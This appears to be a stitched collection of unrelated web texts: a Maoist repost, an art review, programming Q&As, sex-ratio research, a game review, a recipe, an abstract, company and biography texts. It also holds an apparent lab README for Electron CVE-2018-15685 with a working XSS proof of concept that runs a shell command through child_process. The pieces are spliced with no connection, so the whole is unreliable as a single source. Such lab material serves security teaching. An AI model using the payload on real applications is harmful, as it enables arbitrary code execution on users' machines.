This article originally appeared on the home page of the Leading Light Communist Organization (LLCO) with the title Beginning Talking Points on the Cultural Revolution Era. While i have many differences with the LLCO in terms of line and practice, i do feel that they have put forward some of the more interesting work within the Maoist and post-Maoist movement on the period of the Great Proletarian Cultural Revolution.
The GPCR was a key period and was paradoxically both the highest advance of the revolution in China and the period immediately preceding the restoration of capitalist social relations and the entrance of China into the camp of imperialism.
Unlike many other adherants to 'Maoism' or 'Mao Zedong Thought", the Leading Light Communists, as well as other Third Worldists, uphold the verdicts of the GPCR-Left. In particular they uphold Lin Biao and the role of the People's Liberation Army, something which differentiates them from other supporters of the GPCR-Left who tend to focus on mass movements like the Shanghai Commune.
Understanding the GPCR and its outcomes is of key importance if one wants to understand the path China is currently walking today. Also all serious revolutionary communists must consider the great theoretical contributions that Mao Zedong made in that era on the need to revolutionize the super-structure of society and just the economic base.
With that I have re-posted the LLCO's points on GPCR below.
Posted on December 29, 2011, in Revolutionary Culture & Cultural Work, Revolutionary Theory, Socialism and tagged Great Proletarian Cultural Revolution. Bookmark the permalink.	1 Comment.
In the Leninist view, state power is an instrument of the class which holds it, used to transform the economic, political and ideological conditions of the society. The question of who holds state power cannot be answered by examining only forms (the Soviet Union, after all, has a Communist Party and state ownership of property) nor by taking ideological pronouncements at face value (the Soviet revisionists still occasionally proclaim their devotion to proletarian dictatorship) but only by determining which class is transforming society in the direction of its own interests. There are only two forms of state power possible in the modern world: proletarian dictatorship or bourgeois dictatorship. All theories of third forms: new-democracy, joint dictatorship of revolutionary classes, democratic dictatorship of proletariat and peasantry, etc., are incorrect and correspond to no objective reality. In China between 1949 and 1959, the primary aspect of social change was in the direction of communism, despite the errors of line and policy which were to have such a devastating effect. No bourgeois dictatorship would have created the people's communes or free supply or thoroughly liquidated the landlord class or removed the capitalists from much of their power. In 1949 a workers' state came into existence in China and from its positive accomplishments we can learn much about what socialism is and will be.


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The handles and the shape make them very comfortable to wear and fit.
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Temple Bar Gallery + Studios, 5-9 Temple Bar, Dublin, Ireland
staring forms: Miranda Blennerhassett, Aleana Egan, Andreas Kindler von Knobloch, Tanad Williams
Title : staring forms, installation image, Temple Bar Gallery + Studios.
Website : http://www.templebargallery.com/gallery/exhibition/staring-forms
Credit : Courtesy Temple Bar Gallery + Studios. Photographer credit: Kasia Kaminska
staring forms
3 May - 28 June 2019
Review by Aidan Kelly Murphy
"And other withered stumps of time
Were told upon the walls; staring forms
Leaned out, leaning, hushing the room enclosed."
'The Waste Land' (1922), T. S. Eliot
Mid-way through 'A Game of Chess', the second section of T. S. Eliot's 1922 poem 'The Waste Land', come the words that have lent themselves to the title of 'staring forms', a new group exhibition in Dublin's Temple Bar Gallery + Studios. In these lines Eliot references the ancient (and violent) Greek myth of King Tereus and the sisters Philomela and Procne, all three of whom were turned into birds by the gods. This section of 'The Waste Land' has been interpreted by some as Eliot commenting on the inability of messages to be conveyed in society - Philomela was made dumb when Tereus had cut her tongue out, transforming her into a nightingale, whose female is also mute.
The four artists, Miranda Blennerhassett, Aleana Egan, Andreas Kindler von Knobloch and Tanad Williams, present a series of works that, while disparate in execution, share common themes around domestic environments, providing commentary on how they operate, as Eliot does in 'A Game of Chess'. Echoes of the poet's descriptive metaphors exist in the dual reading of the show's domestic materials, such as walls, rugs, clothes and skirting boards, as they tranision into art objects through their display in the more public space of a gallery.
Miranda Blennerhassett exhibits a single, striking piece titled: 'Log Cabin' (2019). From a distance you see a large, patterned, almost familiar, blanket that enters the gallery from the roof and drapes down the wall, its excess trailing a yard across the floor. Upon approaching it you see that the rug's vibrant red background is in fact paint with the only fabric being the central pattern itself. The title chosen by Blennerhassett evokes images of a traditional American log cabin and with it a sense of colonialism - they were first introduced to the continent by Finnish settlers in New Sweden, which predated both the New Netherland and New York colonies. This changing name for the same parcel of land reminds us what can be created by power and agency.
In front of this work sits two of Williams' sculptures: 'Looker' and 'Onlooker' (both 2019). They make use of concrete, plaster and polythene foam, materials that have varying levels of fragility and strength, to create a frame in which Williams encases a surface made of Sundeala - formed from recycled newsprint and normally employed as notice boards. Permanent messages have been cut into these planes, in contrast to their normal use of displaying temporary information. These two pieces are distinct from Williams' other work 'Untitled I (SF)' and 'Untitled II (SF)' (both 2019), two wall-mounted sculptures with an opaque, marble-like front with blemishes and speckles. And while the audience is informed of the use of concrete and other matters in these sculptures, for the others Williams withholds that information, giving anonymity to the substance he has chosen to work with, and encouraging the viewer to question their origin and final destination when used in everyday functions.
Kindler von Knobloch's 'Acting Bodies' (2019), a series of adjustable sliding panels, knits the exhibition together and anchors it in the space. A rail spans the gallery holding three panels, while a fourth sits perpendicular on an additional rail. These movable walls create adjustable spaces in which you can view how the piece operates within the gallery, and constructs juxtapositions with the other artists' work to form connected, but diverging, sets of conversations. The walls curate the space and your interaction with it, your opening encounter determined by the last inhabitant as you yourself impact the next viewer, continuing the cyclical breadcrumb process.
In 'sifting screens' (2019), Egan presents a Mesoamerican pyramid of white foam sections. The topmost plinth is covered with a mesh, under which a patterned shirt is trapped - its vibrant colours and design cut off and obscured, its craftsmanship lost in an era of mass reproduction. Egan's 'sound carvings (scrappy observations)' (2017-2019), draws you out of the main gallery into the building's studio space. From here you can peer back through a small box window as external sounds fill the building's central staircase. In the foreground, Williams' 'Onlooker' (2019) peaks its head; in the background, depending on the positioning of Kindler von Knobloch's work, is either a bank of cyanotype blue or a clear view across the gallery floor and out another small window to Dublin's Temple Bar Square.
A series of texts, expanding on the choice of Eliot as the opening theme, have been provided by the artists. Each provides a wider context for the works, for example Kindler von Knobloch draws attention to Peter Frase's 'Four Futures' (2016) and its commentary on intellectual property rights, which now extends to the ownerships of patterns, restricting their duplication through stringent licensing. This sits in contrast to the tradition of craft over the centuries, where knowledge-sharing techniques were encouraged. Blennerhassett highlights Valerie Jayden and Joyce Kozloff's 1978 text 'Art Hysterical Notions of Progress and Culture', which at a high level, critiques the use of terms like 'decorative art' that are used to insert a hierarchy in art, providing an additional layer of commentary. These texts assist the artists' battle against Eliot's perceived struggle to convey messages in society, ensuring that their message is heard, unlike the silent withered stumps of time described by Eliot.
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The Reopening of the South London Gallery / Nothing is Forever

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Q: Split a string based on delimeter My delimeter could be anything except [0-9] ,[A-Z] case insensitive
I therefore would like a way to split my string based on the dynamic delimiter.
I am currently using boost but am open to other solutions too.
The code I am currently using involves boost and is this:
vector<string> split_;
boost::split(split,line,boost::is_any_of("\t"));

How can I adjust the above code so it could conform to my delimiter standards ?
Is there any other library that could help me accomplish this ?
Any suggestions ?

A: Predicates can be combined:
        !(
            boost::is_from_range('a','z') ||
            boost::is_from_range('A','Z') ||
            boost::is_from_range('0','9')
         )

This magic is due to Boost Lambda library AFAIR. Anyways, you can use it:
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#include <boost/algorithm/string.hpp>
#include <vector>
#include <iostream>

int main() {
    std::vector<std::string> split_;
    std::string line("one;two#three//four five\r\n"
            "six");
    boost::split(split_,line,
            !(
                boost::is_from_range('a','z') ||
                boost::is_from_range('A','Z') ||
                boost::is_from_range('0','9')
             )
            );

    for(auto const& s : split_)
        std::cout << s << "\n";
}

PS. Consider a regular expression split algorithm though:
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#include <boost/regex.hpp>
#include <vector>
#include <iostream>

int main()
{
    std::string line("one;two#three//four five\r\n"
            "six");

    boost::regex re("[^a-zA-Z0-9]");
    boost::sregex_token_iterator i(line.begin(), line.end(), re, -1), j;
    std::vector<std::string> split_(i, j);

    for(auto const& s : split_)
        std::cout << s << "\n";
}

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Kaoma Training Centre, 2012
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Gendercide: THE CAUCASUS
Gendercide has been occurring for decades in the Southern Caucasus and research shows it's now on the rise in recent years. The gender gap between male to female births is now only second to China, for example Armenia, has an extimated 138 boys that are born for every 100 girls amongst first children, as the following chart reflects:
Gendercide: Gender Control in the Southern Caucasus
ARTICLE BY Mari Sahakyan
The prevalence of this sex selection spread with the rise in the use of ultrasound machines after the collapse of the Soviet Union. The situation is even more dire when it comes to the second and third born. In Georgia, this disparity in the ratio jumped to 140 males to 100 females born, meaning women who had two daughters and a male third born had significantly more abortions that those who already had a boy. Interesting to note though, is while such equipment also became more common in other past Soviet satellites such as Ukraine, sex ratios there remained stable.
Read the full article: www.borgenmagazine.com/gendercide-gender-control-in-the-southern-caucasus/
Bongaarts, J. (2013), The Implementation of Preferences for Male Offspring. Population and Development Review, 39: 185–208. doi: 10.1111/j.1728-4457.2013.00588.x
Over the past quarter century the sex ratio at birth (SRB) has risen above natural levels in a number of countries, mostly in Asia. This rise has been made possible in populations with strong son preference by the increasing availability of safe, effective, and inexpensive technologies to determine the sex of a fetus and to end unwanted pregnancies. This article documents levels and trends in the sex ratio at birth, in preferences for male offspring (using information on desired number of girls and boys), and in the implementation of these preferences. DHS surveys from 61 countries in Africa, Asia, and Latin America and for Indian states are the main source of data. A comparison of desired with actual SRBs finds large gaps in most populations, implying a substantial pent-up demand for male offspring and the technology to implement this preference. Two types of actions to implement preferences are considered: the practice of contraception to stop childbearing after the desired number of sons has been born and the use of sex-selective abortion to avoid female births. The second part of the article discusses factors that could influence the SRB, including the promotion of gender equality, and the implications of these factors for future trends.
Michael, M; King, L; Guo, L; McKee, M; Richardson, E; Stuckler, D; (2013) The mystery of missing female children in the caucasus: an analysis of sex ratios by birth order. International perspectives on sexual and reproductive health, 39 (2). pp. 97-102. ISSN 1944-0391 DOI: 10.1363/3909713
CONTEXT Official data on sex ratios at birth suggest a rise in sex-selective abortions in some post-Soviet states following the introduction of ultrasonography. However, questions remain about the validity of official data in these nations as well as whether the high sex ratios at birth are a statistical artifact. METHODS Trends in sex ratios at birth from 1985 to 2009 for 12 post-Soviet states were examined using vital registration data. For the three countries that had had a Demographic and Health Survey (DHS) in 2005-2010 (Armenia, Azerbaijan and Moldova), survey data were used to calculate sex ratios at birth according to birth order, and vital registration data for 2010 were used to estimate the number of "missing" female births (if any). RESULTS Official data revealed elevated sex ratios at birth in Armenia (117), Azerbaijan (116) and Georgia (121), but not in other post-Soviet states. According to DHS data, sex ratios were high in Armenia and Azerbaijan for first births (138 and 113, respectively); if the first child was a girl, the sex ratio in Armenia was even higher for the second birth (154). Overall, the number of girls born in these countries in 2010 was 10% lower than expected, consistent with 1,972 sex-selective abortions in Armenia and 8,381in Azerbaijan. Sex ratios did not vary by birth order in Moldova. CONCLUSION Sex-selective abortion appears to be common in Azerbaijan and Armenia. Family planning and legal interventions are needed to address this issue.
Gendercide in the Caucasus
The sex ratios in the Caucasus are especially distorted when a second or third child is born. In Armenia, among first children, there are 138 boys for every 100 girls. If the first child is a son, the next is more likely to be a girl than a boy (ie, reverse sex selection). But if the first child is a girl, son-preference goes off the scale. When the first child is a daughter, 61% of second children are sons. Armenian parents seem to plan family composition, not just size.


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David Crane's Amazing Tennis (SNES Review)
arcadeattack 22/06/2016 Reviews - SNES
David Crane means a lot to us at Arcade Attack for many reasons, so we really wanted to love this game… In true DC style, innovation is key to David Crane's Amazing Tennis. Rather than opt for the standard tennis sim viewed from above the court (where the sprites are the same size), the camera for this game is at court level behind the player. But for every "wow" there seems to be an opposite "oh no".
The SNES is ripe for a good tennis sim. The fact that Super Tennis is still the best so far is disappointing to say the least. Presentation-wise, DCAT (as I'm coining it) is pretty good although the three tone menu screens could do with a bit of jazzing up. The ethnic diversity of the fictional players in the game also has to be commended.
Now to the nitty gritty. When you first load up the game, the graphics completely blow you away. You won't have seen a sprite this large in any 16-bit game so far. Although some extra frames of animation would have put the icing on the cake, the game uses the full colour palette of the SNES extremely effectively. The courts are also well detailed and coloured, you feel as though you're at Wimbledon, Roland Garros etc… You do however feel a bit sorry for the sprite on the other side. And the less said about the Foot Locker adverts the better (doh! – Ed).
There is no in-game music but the sound effects are extremely realistic and I also like the speech from the umpire. Far better than gigantic visual representations of the score from previous unmentionable tennis sims…
Everything is great so far, until the action starts. The new perspective, whilst innovative, causes a variety of problems. The collision detection is far from flawless, even when you're controlling the larger sprite. I found serving extremely difficult (as it is in real life) and the lack of an auto-serve option meant that I was coughing up lots of double faults. The player doesn't seem to adjust to shots that are a bit too close to the body. Where other sims would still allow you to hit the ball but not with as much pace, DCAT doesn't let you hit it at all. When you connect with a shot it's extremely satisfying. Until it hurtles off the court at immense speed. Adjusting the direction of shots also seems somewhat haphazard, caused by the new depth perception. When you control the smaller sprite at the top of the screen, all these problems are exacerbated.
A few of the problems with DCAT could have been mitigated. In 1-player tournament or exhibition mode, you will still have your turn at changing court and controlling the smaller sprite. Why not, in 1-player mode, solely control the larger sprite with the better depth perception? There were numerous times that my serve looked to have hit the line but it was still deemed to be a fault. In time (and I mean a LOT of time), you can learn to cope with these flaws but I don't believe that's what a tennis sim should be about. It should be easy to pick up and play instantly. If you persevere with it, there are a lot of game modes to enjoy and the graphics won't cease to amaze you. Unfortunately, that's the only thing amazing about this title.
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As of Sept. 1, 2001, automobile manufacturers are required to equip all new vehicle trunks with a "glow in the dark" trunk release inside the trunk compartment. Show your kids how to use the release in case of an emergency. If your car is older and does not have the 'glow in the dark' trunk release, ask your automobile dealership about getting your vehicle retrofitted with a trunk release mechanism.
Younger children are more sensitive to heat than older children and adults and are at greater risk for heatstroke.
For more information visit: SafeKids.org or NHTSA.org. The Safe Kids Carroll County Coalition number is 410-876-4448.


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Q: TCPSampler gets code 500 error when TCP server returns 0-length data I'm using TCPSampler in Jmeter to do the performance test on fluentd's TCP input plugin.
But it always runs into 500 error:
Thread Name:Thread Group 1-1
Sample Start:2020-06-23 18:21:08 CST
Load time:2372
Connect Time:360
Latency:0
Size in bytes:0
Sent bytes:0
Headers size in bytes:0
Body size in bytes:0
Sample Count:1
Error Count:1
Data type ("text"|"bin"|""):text
Response code:500
Response message:org.apache.jmeter.protocol.tcp.sampler.ReadException: Error reading from server, bytes read: 0
SampleResult fields:
ContentType:
DataEncoding: UTF-8

My setting to TCP Sampler is simple:

Because fluentd returns nothing(0-length response) and there is no EOL can be set. Jmeter will hang up until timeout, then reports 500(verified with another simple TCP server with non-0 response).
How should I handle the 0-length response from the TCP server?
Appreciate!
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Seen from the pcap of tcpdump on fluentd side, the package from jmeter has been 'ACK'-ed immediately.
# tcpdump -i ens160 -n tcp port 20001
reading from file from-jmeter.pcap, link-type EN10MB (Ethernet)
06:12:23.716615 IP BEI-L-00040107.olympus.****.com.50411 > telemetry-analytics.pdsea.****.com.microsan: Flags [S], seq 3419810629, win 65535, options [mss 1304,nop,wscale 6,nop,nop,TS val 1134449538 ecr 0,sackOK,eol], length 0
06:12:23.716709 IP telemetry-analytics.pdsea.****.com.microsan > BEI-L-00040107.olympus.****.com.50411: Flags [S.], seq 1061319631, ack 3419810630, win 28960, options [mss 1460,sackOK,TS val 1980947477 ecr 1134449538,nop,wscale 7], length 0
06:12:23.919891 IP BEI-L-00040107.olympus.****.com.50411 > telemetry-analytics.pdsea.****.com.microsan: Flags [.], ack 1, win 2059, options [nop,nop,TS val 1134449760 ecr 1980947477], length 0
06:12:23.920121 IP BEI-L-00040107.olympus.****.com.50411 > telemetry-analytics.pdsea.****.com.microsan: Flags [P.], seq 1:4, ack 1, win 2059, options [nop,nop,TS val 1134449761 ecr 1980947477], length 3
06:12:23.920147 IP telemetry-analytics.pdsea.****.com.microsan > BEI-L-00040107.olympus.****.com.50411: Flags [.], ack 4, win 227, options [nop,nop,TS val 1980947681 ecr 1134449761], length 0
06:12:25.994011 IP BEI-L-00040107.olympus.****.com.50411 > telemetry-analytics.pdsea.****.com.microsan: Flags [F.], seq 4, ack 1, win 2059, options [nop,nop,TS val 1134451735 ecr 1980947681], length 0
06:12:25.994402 IP telemetry-analytics.pdsea.****.com.microsan > BEI-L-00040107.olympus.****.com.50411: Flags [F.], seq 1, ack 5, win 227, options [nop,nop,TS val 1980949755 ecr 1134451735], length 0
06:12:26.220944 IP BEI-L-00040107.olympus.****.com.50411 > telemetry-analytics.pdsea.****.com.microsan: Flags [.], ack 2, win 2059, options [nop,nop,TS val 1134452013 ecr 1980949755], length 0

A: If you're basically waiting for an empty response and just want JMeter to stop marking the request as failed you can add a Response Assertion as a child of the TCP Sampler and configure it like:

This way JMeter will mark the sampler as passed given status code is 500.
More information: Response Assertions in JMeter 3.2 - New and Improved


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[中文版本(Chinese version)](README.zh-cn.md)

Electron is an open source library developed by GitHub for building cross-platform desktop applications with HTML, CSS, and JavaScript. Electron accomplishes this by combining Chromium and Node.js into a single runtime and apps can be packaged for Mac, Windows, and Linux.

When Electron sets `nodeIntegration=false` (default), the JavaScript in the page cannot access the built-in library of node.js. CVE-2018-15685 bypass this limitation, enabling arbitrary commands to be executed if the user can execute JavaScript (such as when accessing a third-party page or an XSS vulnerability exists in the app).

Reference links:

- https://electronjs.org/blog/web-preferences-fix
- https://www.contrastsecurity.com/security-influencers/cve-2018-15685

## Compile application

Execute the following command to compile an  vulnerability application:

```
docker-compose run -e PLATFORM=win64 --rm electron
```

The value of `PLATFORM` is the operating system on which the application is running. The options are:`win64`、`win32`、`mac`、`linux`。

After the compilation completed, execute the following command to run the web service:

```
docker-compose run --rm -p 8080:80 web
```

Now,access`http://your-ip:8080/cve-2018-15685.tar.gz`to download application.

## expliot

Open the app:

![](1.png)

Click submit, the content in the input box will be displayed in the app, and there is obviously an XSS vulnerability.

We submit `<img src=1 onerror="require('child_process').exec('calc.exe')">` and find that nothing happens, because `nodeIntegration=false`.

At this time, submit the POC (Windows):

```
<img src=1 onerror="window.open().open('data:text/html,<script>require(\'child_process\').exec(\'calc.exe\')</script>');">
```

As you see, calc.exe shows up.

![](2.png)


Slow Cooker Sweet and Sour Meatballs are one of the easiest and tastiest meals you'll ever make. Dump everything in the slow cooker and it will do the rest.
Sweet & Sour Meatballs Are a favorite!
Do you shy away from meatball recipes thinking they might be too complicated or difficult?
The first time we cooked with pre-made frozen meatballs, there was no turning back. Most store-bought meatballs have been precooked and come in many varieties and flavors that are delicious.
The easiness of these slow cooker sweet and sour meatballs makes them a highly favored dinner on our meal rotation.
Store bought frozen meatballs have come a long way. And this recipe will work great with any brand you find. Turkey meatballs are a great choice when looking for a healthier option.
Swedish meatballs and Italian meatballs are found in most grocery stores in the frozen food section. We have used all of the meatballs listed and the recipe tastes amazing with every one of them.
Homemade meatballs are always a win with any recipe. It will take a little more effort on your part, but the taste is great. We love our homemade turkey meatball recipe.
What is the best Sweet and Sour Sauce?
For this recipe, it calls for a 10-ounce bottle of sweet and sour sauce. We are often asked what brand of sweet and sour sauce we prefer.
We have used so many brands of sweet and sour sauce in our recipes. We are all about a bargain, so often we'll purchase the sweet and sour sauce that is on sale. Many times the store brand is the least expensive – and the recipe will turn out amazing.
So don't stress over which sweet and sour sauce is best. The flavors all come together with these slow cooker sweet and sour meatballs, and they will knock your socks off.
This recipe is SO easy to make in the Instant Pot too. Just add 1/2 cup of water to the ingredients and cook it on manual for 7 minutes.
Do a quick release when you are done! (You can see me making this recipe in the Instant Pot in the video below along with 3 other delicious meatball recipes.
Do I choose High or Low Temp on my slow cooker?
Slow Cookers are one of the most "user-friendly" cooking methods around. With this recipe, you add everything to the slow cooker and leave it alone for the rest of the day. We like to use a 6 quart or 7 quart slow cooker for this recipe.
We have always been a believer of the low and slow method when cooking with a slow cooker. But life can get busy and time does not always permit you to cook it on low, so don't hesitate to use the high temperature. With these slow cooker sweet and sour meatballs, both the high or low temp will give you the same amazing results.
Slow cookers vary slightly in temperature with each brand. Generally speaking, the slow cooker Low setting is equal to about 200 degrees Fahrenheit, and the High setting is equal to about 300 degrees Fahrenheit.
Sweet and Sour MEatballs – Main Dish or Appetizer?
These Slow Cooker Sweet and Sour Meatballs can easily double as a main dish and appetizer. If serving it as a main dish, we love to serve it over a bed of cooked rice.
If using this as an appetizer for a party, serve with some toothpicks. They can be served directly out of your slow cooker. You could also put them in a nice serving dish and let your guests serve themselves.
Spray your slow cooker with non-stick cooking spray. In your slow cooker add the sweet and sour sauce, brown sugar, soy sauce, and garlic powder. Stir together until well blended.
Then add in your frozen meatballs and stir until they are all covered in the sauce. Add in the peppers, diced onion, and drained pineapple chunks. Stir into the meatballs.
Cook on low for 7-8 hours, or high for 4-5 hours. Serve over cooked rice, or as an appetizer with toothpicks.
Use a slow cooker liner to make clean up a breeze. You'll be surprised at how easy they are to use.
Make it simple using frozen store bought meatballs. The meatballs do not need to be thawed first. Just throw them in your slow cooker while still frozen.
You can use instant rice for an even easier option when making these slow cooker sweet and sour meatballs as a main dish.
Serve from the slow cooker as an appetizer or from a serving dish.
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Place all ingredients inside the slow cooker and stir gently.
Place lid on slow cooker. Cook on low for 7-8 hours or on high for 4-5 hours.
Serve over rice as a main dish or serve with toothpicks for a yummy appetizer.
Check out this video on how to cook meatballs in an Instant Pot.
Oh YUM! I love sweet and sour meatballs! I usually skip on the peppers and onions because my husband is "allergic" ... I also use a similar recipe for sweet and sour kielbasa! Delish!
We're making the classic southern grape jelly meatballs today. Your sweet and sour recipe looks delish!
Sounds yummy! Can't wait to try it.
Oh I am so making this!!!!!!!!!!!!!!!!
This recipe is great. Love anything "sweet n sour". Slow cooker makes it even better!
what type of meatball did you use? I have frozen swedish ones would those work in this dish?
PS Love love love your site!!!
Wow these meatballs look fantastic! Thank you so much for linking up to Simple Supper Tuesday!
These meatball are so awesome~* I mixed regular and italian to see what I liked best. I thought regular was way better. Next time, I will serve the rice separately and make vege rolls. Thanks for this awesome recipe. I love your website!
Hi, I'm thinking of making this recipe to take over to my friend's house (she just had her 5th baby). Could you use homemade meatballs that are cooked and then frozen?
I always make homemade meatballs and freeze for later use in a slow cooker...They are VERY versatile!!! I cooked and then froze 14 lbs meatballs before school started for LOTS of quick meals!!! Just put in slow cooker with whatever sauce/gravy you want and serve with rice, pasta, or on toasted hoagie buns!
My family really loved this meal. Will put the bell pepper and onion in half way thru cooking next time. I used frozen turkey meatballs and they were great! Super easy and good. Thank you!!
how come you are putting the bell peppers and onion in half way? were they do soft putting them in at the beginning?
You can put them in during the beginning also.
I looking to make this for an appetizer for our pre wedding bbq. i'm doing a test run this weekend on the recipe. I was wondering how many people this fed as i'm not good at double recipes. for some reason it just never turns out. is there anyway you can help so I don't mess up the recipe when I make a bigger batch. i'm having about 12-16 people.
I featured this recipe on my blog, goodjujublog.blogspot.com I CAN NOT wait to try it. I have been loving my slow cooker, so this is perfect!
I'm definitely trying this. I use to make thes all the time in the Wok when I was a kid and into early adult. But one moving day we lost the whole thing some how. But I love my slow cooker. My question is that I have 3 lbs of meatballsb and your recipe calls for 2 lbs . What would be a good adjustment to the ingredients so it's just right? Thank you for your help. I'm tring this out for this weekends halloween party. This will be a life saver.
Just 1 1/2 the recipe and it will work great.
Can you use Turkey meatballs for this? Doing a potluck at work and some don't eat beef but the recipe looks good.
Where did you find the jar of sweet and sour sauce? And what brand is it? You don't make the sauce homemade?
Hello, I thought I read somewhere that it's not safe to cook frozen food in a slow cooker. What are your thoughts? Are there certain foods that are safer than other to cook while still frozen?
Frozen meatballs and some chicken breasts seem to do fine. We have heard that controversy too. Not sure what to believe. So far we have not had any problems.
The sauce was okay, tasty, but it was too thin. Had to add flour to get sauce to a good consistency to stick to meat.
Do the meatballs have to be frozen? We have a ton of ground elk meat that i would love to make meatballs with but i'd have to thaw and roll them myself. What would the cook time be for non-frozen meatballs?
You could make your own meatballs. Just need to be sure they hold their shape after being cooked and when stirred occasionally that they won't break apart. This recipe really just needs to be heated through and have the peppers and onion cooked to your liking. You should be fine with the cooking times, but check on it every now and then to be sure it's not overcooked.
I am not very confident with my Crock-Pot and am never sure to cook things on high or low. Did you find better results at one of the temperatures? I am thinking of serving these for a party so I would like to time them right. I would want the vegetables cooked, but not mushy and the meatballs hot(I believe they are already pre-cooked)?
We put what temperature setting and length of time on our recipes! You should be fine to follow those instructions.
I made this and it was enjoyed by several different people. I did have to add cornstarch to the juices to thicken...it was a little too thin. I t was served over rice.
After cooking in crock pot, can this be put in containers and frozen?
This is a great recipe to freeze any leftovers.


During late-winter/spring, ice algae often form in a layer at the bottom of Arctic sea ice. This thesis investigates how these ice algae imbedded within a sea ice matrix absorb solar radiation, and how the spectral distribution of the radiation transmitted through the ice can be used to infer ice algae properties. During a case study of landfast ice in Baffin Bay, NU, Canada, it was found that (i) ice algae were highly shade-acclimated with absorption characteristics indicating a strong package effect, a likely result of the deep snow-cover. Furthermore, transmittance spectra (ii) revealed that ice algae attenuated significantly more radiation, (iii) showed evidence of natural fluorescence, and (iv) potentially indicated the presence of an un-sampled algal or cyanobacterial population, than that expected from extracted ice sample analyses in the laboratory. These results emphasize the important role of spectral transmittance observations in informing bio-optical and primary productivity studies of sea ice algae.


Multi Clipboard offers opportunity to hold some pieces of text which you frequently use. For instance, from a Help Desk or providing Tech-Support. It is striking at once that the title of the program does not correspond to its functions. Program offers you some kind of database of freguently used text, but not multiple clipboards. There is one more thing that averts from using the program. Look at its screenshot. It seems that Multi Clipboard was designed to work under Windows 95 and won't even run under modern Windows Vista.
Discarding awful appearance and strange program name lets see how it works.
It holds up to 33 fields of text, each of them up to 10,240 characters. Any of the fields you can copy into the Windows clipboard. Then you can paste copied text to any Windows application manualy.
If you often fill in the same forms again and again, it is necessary to have a tool like that. You may try to use Multi Clipboard, but it does not give you full automation. You still need to paste text to editors manually. We recommend you to see Flashpaste tool. It is designed to solve the same problem. In contrast to Multi Clipboard, Flashpaste pastes text directly to the needed place, but not to the Windows Clipboard. So you avoid manually pasting text from clipboard and keep current clipboard contents unchanged.
Multi Clipboard is shareware, you can free download and try it for free during trial period. After that you may buy it for $19.99 or should delete it.


Hürsan Havlu was established 1991 in Denizli. It is an fully integrated facility which performs production of spinning, weaving, knitting, dying confection are processed in-house. On total factory area of 40.000 m² with 800 employees.
Our major product groups are: All kind of Towels & Bathrobes. Bathmat's and Kitchen home textiles products, Home wear and Beach wear products are included in our product range.
In our Embroidery Department we are working as well with scale trimming or organza materials and with laser cutting machineries.
Catch up with highest demands of clients due to modern design and top quality. Therefore one of Hürsan's significant plus is the design department. You can find a huge in-house design assortment, which consists separately of a Spring/Summer and Autumn/Winter range. Besides, individual customer designs can be developed together.
We are one of the biggest producer for certificated production of Organic- and Better Cotton. Combed- and Soft Cotton, as well as Micro- and Low Twist Cotton terry products are a part of our collection.
In our Marketing / Export Department we are serving our clients in three languages: English, German and French with an experienced and competent staff.
Hürsan Havlu has stabilized a high quality by using our own produced yarns with weaving looms and dye house machinery with latest technology.
The company has following certifications: BSCI, ÖKO-TEX, GOTS, ISO 9001:2015.
The company is focused on export as core business and is trading with 18 countries all over the world. It produces towels and bathrobes for its customers, as well as for retail chains, with its own brand (BAVENO) and also on behalf of well-known brand names, especially in European countries and Australia.
Hursan is a Baltalı Grup Company.


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Michael Emenalo (ur. 4 lipca 1965 w Abie) – nigeryjski piłkarz grający na pozycji lewego obrońcy. Od 18 listopada 2010 do 29 czerwca 2011 roku był drugim trenerem londyńskiego klubu. 9 lipca 2011 został nowym dyrektorem technicznym. Do jego zadań będzie należeć opieka nad międzynarodową i krajową siecią skautingu oraz techniczna pomoc w przygotowaniu programów dla Akademii i zagranicznej młodzieży. Jego rola ma istotne znaczenie w ogólnej, długoterminowej strategii klubu.

Kariera klubowa
Emenalo pochodzi z miasta Aba. Jednak jego pierwszym klubem w karierze był klub Rangers International z miasta Enugu. W barwach tego klubu Emenalo zadebiutował w nigeryjskiej ekstraklasie. Grał tam do końca 1985 roku i na początku 1986 wyjechał z kraju.

Emenalo trafił do Stanów Zjednoczonych, gdzie w Bostonie rozpoczął studia na Uniwersytecie Bostońskim. Został także piłkarzem tamtejszej drużyny uniwersyteckiej, noszącej przydomek "The Terriers". W 1987 roku został uznany MVP Wschodniej Konferencji ligi uniwersyteckiej. W 1988 był już seniorem i wtedy grał jeszcze lepiej – został uznany MVP sezonu całej ligi, mianowany do Najlepszej Jedenastki Wszystkich Konferencji, Trzeciej Drużyny Całej Ameryki oraz otrzymał Nagrodę E. Raya Speare'a dla najlepszego studenta-sportowca na uczelni. Do tego dołożył tytuł mistrzowski ze swoimi kolegami z drużyny piłkarskiej. Rok 1989 był ostatnim w Bostonie. Emenalo swój pobyt w drużynie uniwersyteckiej zamknął z bilansem 36 goli i 32 asyst, co uczyniło go drugim najlepiej punktującym (104 punkty) graczem w historii drużyny uniwersyteckiej.

Po zakończeniu studiów Michael wyjechał do Europy i podpisał kontrakt z belgijskim klubem RWD Molenbeek. W sezonie 1989/1990 zagrał w 18 ligowych meczach i zdobył dla zespołu 3 gole (wszystkie w 3 kolejnych wygranych meczach zespołu w grudniu 1989). W sezonie 1990/1991 uzyskał 1 gola w 16 meczach, a w kolejnym (1991/1992) zdobył także 1 bramkę (w zremisowanym 1:1 meczu ze Standardem Liège) oraz 1 samobójczą (porażka 0:2 u siebie z KV Mechelen). Po trzech sezonach spędzonych w Brukseli Emenalo odszedł z zespołu i przez niemal rok nie grał w piłkę.

Do futbolu wrócił w 1993 roku i grał wówczas w Eintrachcie Trewir, grającym w Regionallidze Południowo-Zachodniej. Latem 1994 roku, gdy został piłkarzem Notts County występującym wówczas w Division One. W zespole z Nottingham zagrał tylko w 7 meczach, a klub ten zakończył rozgrywki na ostatnim miejscu w 24-zespołowej lidze. Z Notts County wywalczył za to Puchar Anglo-Włoski i wystąpił w zwycięskim 2:1 finale z Ascoli Calcio, rozegranym na Wembley Stadium.

